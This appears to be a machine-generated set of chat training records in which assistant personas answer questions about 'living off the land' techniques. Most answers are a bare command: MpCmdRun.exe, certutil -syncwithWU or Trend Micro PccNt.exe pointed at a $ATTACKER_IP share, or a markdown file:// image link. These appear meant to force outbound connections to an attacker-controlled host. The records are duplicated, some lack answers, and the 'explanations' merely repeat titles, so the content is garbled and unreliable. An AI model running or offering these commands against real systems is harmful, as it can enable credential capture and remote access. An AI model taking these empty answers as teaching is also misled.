[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `![](file://$ATTACKER_IP/something/something.png)`?

[Assistant] This command is used for 🛠 living off the land - html documents / xss. HTML documents / XSS

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `![](file://$ATTACKER_IP/something/something.png)`?

Response: This command is used for 🛠 living off the land - html documents / xss. HTML documents / XSS


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of 🛠 Living off the land - Web server file inclusion

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of 🛠 Living off the land - Web server file inclusion


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 🛠 Living off the land - Web server file inclusion

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 🛠 Living off the land - Web server file inclusion


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 🛠 Living off the land - Windows Defender Remote Scanning?

[Assistant]
``bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is 🛠 Living off the land - Windows Defender Remote Scanning?

Response:
``bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Windows Defender Remote Scanning?

[Assistant]
``bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Windows Defender Remote Scanning?

Response:
``bash
C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out 🛠 Living off the land - Windows Defender Remote Scanning during a pentest?

[Assistant] C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out 🛠 Living off the land - Windows Defender Remote Scanning during a pentest?

Response: C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt`?

[Assistant] This command is used for 🛠 living off the land - windows defender remote scanning. Windows Defender Remote Scanning

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\$ATTACKER_IP\file.txt`?

Response: This command is used for 🛠 living off the land - windows defender remote scanning. Windows Defender Remote Scanning


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does 🛠 Living off the land - Certutil work?

[Assistant]
``bash
certutil.exe -syncwithWU \\$ATTACKER_IP\share
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

How does 🛠 Living off the land - Certutil work?

Response:
``bash
certutil.exe -syncwithWU \\$ATTACKER_IP\share
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 Living off the land - Certutil?

[Assistant]
``bash
certutil.exe -syncwithWU \\$ATTACKER_IP\share
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform 🛠 Living off the land - Certutil?

Response:
``bash
certutil.exe -syncwithWU \\$ATTACKER_IP\share
``


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the certutil.exe command to 🛠 living off the land - certutil

[Assistant] certutil.exe -syncwithWU \\$ATTACKER_IP\share

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the certutil.exe command to 🛠 living off the land - certutil

Response: certutil.exe -syncwithWU \\$ATTACKER_IP\share


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform 🛠 Living off the land - Certutil?

[Assistant] certutil.exe -syncwithWU \\$ATTACKER_IP\share

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: certutil.exe -syncwithWU \\$ATTACKER_IP\share


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `certutil.exe -syncwithWU \\$ATTACKER_IP\share`?

[Assistant] This command is used for 🛠 living off the land - certutil. Certutil

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `certutil.exe -syncwithWU \\$ATTACKER_IP\share`?

Response: This command is used for 🛠 living off the land - certutil. Certutil


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about 🛠 Living off the land - Trend Micro Remote Scanning

[Assistant]
``bash
C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\
``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about 🛠 Living off the land - Trend Micro Remote Scanning

Response:
``bash
C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for 🛠 Living off the land - Trend Micro Remote Scanning

[Assistant]
``bash
C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\
``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for 🛠 Living off the land - Trend Micro Remote Scanning

Response:
``bash
C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\
``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute 🛠 Living off the land - Trend Micro Remote Scanning?

[Assistant] C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute 🛠 Living off the land - Trend Micro Remote Scanning?

Response: C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\`?

[Assistant] This command is used for 🛠 living off the land - trend micro remote scanning. Trend Micro Remote Scanning

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `C:\Program Files (x86)\Trend Micro\OfficeScan Clien\PccNt.exe \\$ATTACKER_IP\s\`?

Response: This command is used for 🛠 living off the land - trend micro remote scanning. Trend Micro Remote Scanning